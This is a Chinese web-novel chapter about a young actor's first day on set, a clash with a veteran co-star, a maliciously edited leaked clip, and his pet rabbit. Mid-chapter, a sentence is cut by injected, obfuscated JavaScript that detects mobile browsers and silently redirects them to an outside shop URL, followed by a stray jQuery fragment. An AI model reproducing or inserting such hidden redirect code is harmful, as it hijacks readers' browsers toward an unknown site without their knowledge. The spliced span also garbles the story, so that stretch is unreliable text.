进组那天，容彦提前到了四十分钟。
片场正在搭景，工作人员扛着道具走来走去，空气中弥漫着油漆和木屑混合的味道。
他找了个角落坐下来，把剧本翻到最后几页，又重新看了一遍陈默最后那场戏的台词。
其实没有台词，是一段长镜头，他只需要从巷子一头走到另一头，但导演在剧本上密密麻麻写满了批注，标注了脚步的节奏、目光的落点、呼吸的频率。
“容彦，来化妆。”服装助理喊了他一声。
容彦合上剧本，跟了过去。
化妆间不大，镜子周围贴了一圈暖黄色的灯泡，亮得有些晃眼。
他坐下来，化妆师是个短头发的年轻姑娘，手法利落，没有太多寒暄，一边给他打底一边说：“林导要求素颜出镜，我只给你上一点哑光粉底控油，其他都不动。”
“好。”容彦闭上眼，配合她抬起头。
大概是被他这副“你说什么我都可以”的好说话劲儿打动了，化妆师多看了他一眼，忽然说了一句：“你皮肤底子真好，好多艺人恨不得让我涂三遍遮瑕。”
容彦睁开眼，从镜子里看了她一眼，弯了弯嘴角：“谢谢。”
还没等他笑完，门被人推开了。
一个身形高大的男人走进来，大约三十出头，肩膀很宽，走路带风，自带一种“这个剧组我是前辈”的气场。
他的五官硬朗，属于那种放在古装剧里能演将军的长相，但此刻表情不算太友好。
他看到容彦坐在化妆镜前，脚步顿了一下，然后走过去，在隔壁椅子上坐下，翘起腿，语气随意得像在聊天气：“你就是那个新来的？”
容彦偏过头：“是，我叫容彦。”
“我知道。”男人笑了一声，笑声不大，但没有多少热乎气，“何鹏。男二。林导的戏我跟过两部了，规矩你还不熟，没事，慢慢来。”
他说“慢慢来”的时候，视线在容彦身上上下扫了一回，像是在丈量什么，然后就不再看他了，开始低头刷手机。
容彦没有接话，转回脸，对着镜子，任由化妆师继续在他脸上拍打粉扑。
第一场戏是陈默在单位的场景。
工位逼仄，电脑屏幕的光映在脸上，周围是同事聊天、键盘敲击、打印机嗡嗡作响的白噪音。
容彦坐在工位上，背微微弓着，眼睛盯着屏幕，但目光是散的，他在看一个空白文档，光标一闪一闪的，像在等他打一个字。
他盯了很久，久到旁边的工作人员都开始交换眼神，然后他轻轻按了一下退格键，什么都没写，起身走了。
“卡，”林国栋的声音从监视器后面传出来，不高，但在安静的片场里格外清晰，“容彦你过来。”
容彦走过去，站到监视器旁边。林国栋没有抬头，盯着回放画面，手指在屏幕上点了点：“这个起身的动作，太快了。他如果决定了要走，就不会犹豫。但你要让他犹豫，不是身体的犹豫，是眼神。你先低头看一下键盘，再看一下窗外，然后再站起来。你看窗外那一下，是他在找一个理由留下。没找到，再走。”
容彦安静地听完，点了点头：“我再来一次。”
“嗯。”林国栋终于抬头看了他一眼，那一眼里没有夸奖，但也没有不耐烦，像在看一个愿意被雕琢的料子。
第二遍。
容彦重新坐回工位，盯着屏幕，光标还在闪。
他按了一下退格键，然后指尖悬在键盘上方，没有落下去。他低头看了一眼键盘，像在找一个词，然后把目光移向窗外，窗外的阳光白晃晃的，照在对面楼的水泥墙上，什么都没有。
他的嘴角动了一下，很轻，不是笑，是一口没有呼出来的气。然后他站起来，走了。
“过。”林国栋说。
片场的气氛微微松动了一点，有人小声嘀咕：“一条过了？林导今天心情好？”
“不是心情好，”旁边那个副导演压着嗓子回，“是他演的确实没问题。”
容彦回到候场区，拿起水瓶喝了一口。
他感觉到一道目光落在自己身上，偏头一看，何鹏正靠在对面墙上，两手抱胸，表情淡淡的，没什么情绪，但眼神一直在。
下午那场戏是陈默和何鹏饰演的部门经理之间的对手戏。
经理对陈默的消极状态不满，敲桌子让他振作，陈默全程没有说话，只是坐着，点头，然后继续坐着。
剧本很简单，但何鹏在第一遍走戏的时候加了一个动作，他走到容彦面前，忽然俯下身，双手撑在桌面上，把容彦完全笼罩在自己的阴影里。
容彦没有动，但剧本里没这个动作，他的反应时间被打乱了半秒。
“卡，”林国栋皱了皱眉，看向何鹏，“你加这个干什么？”
何鹏直起身，摊了摊手：“我觉得这样更能体现角色的压迫感，林导您试试看。”
林国栋沉默了两秒，没有说不，也没有说好：“再来一条。容彦，你接得住就接，接不住这条就按原来走。”
容彦点了点头。
第二遍，何鹏又俯下身，双手撑在桌面上，身体前倾，目光从上方压下来，气场压得足足的。
容彦坐在椅子上，没有躲，也没有逞强地梗着脖子。他先是抬头看了何鹏一眼，那一眼很平静，像是确认了一下“是你在跟我说话”。
随后他低下头，目光落在桌面上何鹏撑着的那双手上，手指微微蜷了一下，像在克制什么，又像在数什么东西。
他又抬起头，这一次嘴角动了一下，不是笑，是那种“你要我做什么我就做什么，反正我也无所谓”的倦怠，声音轻得几乎像在自言自语：“好的，经理。”
何鹏愣了一下。
不是被反击了，是他觉得自己一拳打在棉花上，但那个棉花底下，分明有东西。
他说不上来是什么，但那个瞬间他发现自己没法继续压下去了，因为对方根本没有抵抗，也没有溃败，他只是坐在那里，像一个已经到底了的人，你再用劲也踩不下去。
“卡。”林国栋的声音从监视器后面传出来。
片场安静了两秒。
“这条，过了。”林国栋说，然后又补了一句，“何鹏，以后的动作调整先跟我过一遍。”
何鹏直起身，看了容彦一眼，没有说什么，转身走了。
但走出三步之后，他回头看了一眼容彦的背影。
容彦正在低头翻剧本，像什么都没发生过。
晚上收工的时候，容彦坐在片场外面的台阶上等车。
夜风从楼缝里穿过来，带着白天残留的尘土味。
他揉了揉发酸的肩膀，掏出手机看了一眼，有一条未读消息，是彭丹发来的：“第一天怎么样？”
他想了想，打字
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628796|205402||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
回：“挺好的。”
发完之后他又补了一句：“那个演男二的，挺凶的。”
彭丹回得很快：“何鹏？他出了名的不喜欢新人。但你不用怕他，你是导演选的，他压不了你。”
容彦看着那行字，笑了一下，把手机揣回兜里。
回到公寓楼下的时候，他上楼前先抬头看了一眼自己那扇窗户亮着灯。
出门前他给汐桐留了一盏小夜灯，怕她一只兔子在屋子里害怕。
他现在看到那点暖黄色的光，步子不自觉地快了一点。
推开门，汐桐正趴在沙发扶手上，耳朵对着门口的方向，像是听到了他的脚步声，提前摆好了“本妖只是在趴着”的姿态。
容彦换了鞋走过去，把她捞起来抱在怀里，整张脸埋进她毛茸茸的背上，闷闷地说了一句：“乐乐，我今天挺好的。”
汐桐被他抱得有点喘不过气，四条腿蹬了一下，但最后还是放弃了挣扎，尾巴尖轻轻扫了扫他的手腕。
第二天一早，容彦还在刷牙，彭丹的电话就打了进来。
“你昨天和何鹏那场对手戏被人拍了。”她的语速比平时快了一点点，像是压着什么情绪，“是场务的手机拍的，不知道怎么就发网上了。”
容彦含着牙刷，含混地问：“拍了什么？”
“拍的是何鹏压你那一场。画面有点糊，但能看清楚他俯身撑桌子的动作和你坐在那里的反应。”彭丹顿了一下，“不过问题不在这个。”
“问题在什么？”
“剪辑。”彭丹说，“原视频你接了那句话之后他就直起身了。但发出来的版本在他直身之前就切了，只留了他俯身撑桌和你抬头看他的部分。现在评论区在说什么你知道吗？”
容彦把牙刷从嘴里拿出来，对着镜子擦了擦嘴边的泡沫：“说什么？”
“说你被何鹏吓到不敢动了。说新人就是新人，遇到气场强的就接不住。说导演选你是因为你便宜，不是因为你演得好。”彭丹的语气还是平的，但那种平底下有东西在慢慢翻涌，“这视频是故意的。有人在盯着你，你第一天进组就有人等着拍你。”
容彦看着镜子里的自己，沉默了几秒。
然后他把牙刷放回杯子里，拧开水龙头冲了冲嘴角的泡沫，声音恢复了平静：“那怎么办？”
彭丹那边似乎没想到他这么冷静，顿了一下才回答：“我已经让人去调片场所有角度的监控了，能找到完整版就能澄清。但你昨天那个反应很好，只要你当时确实没被压住，完整版一出来就是打脸。”
“我没被压住。”容彦说。
“我知道。”彭丹的声音里终于透出一点点笑意，“从你的语气我就听出来了。”
挂电话之前，彭丹又补了一句：“这两天上网的话别看评论，都交给我。”
“好。”
容彦放下手机，弯腰把正在餐桌边扒拉碗边的汐桐抱起来，放在窗台上，让她看外面正在升起来的太阳。
“乐乐，”他说，声音很轻，像是说给自己听的，“以前遇到这种事我会慌，会想问为什么是我。但现在我不想了。他们爱拍就拍，反正我拍戏的时候什么样，我自己清楚。”
汐桐转过头，红棕色的眼睛映着清晨的阳光，亮亮的。她抬起爪子，拍了拍他放在窗台上的手。
那一下不重，但容彦觉得那比任何安慰都管用。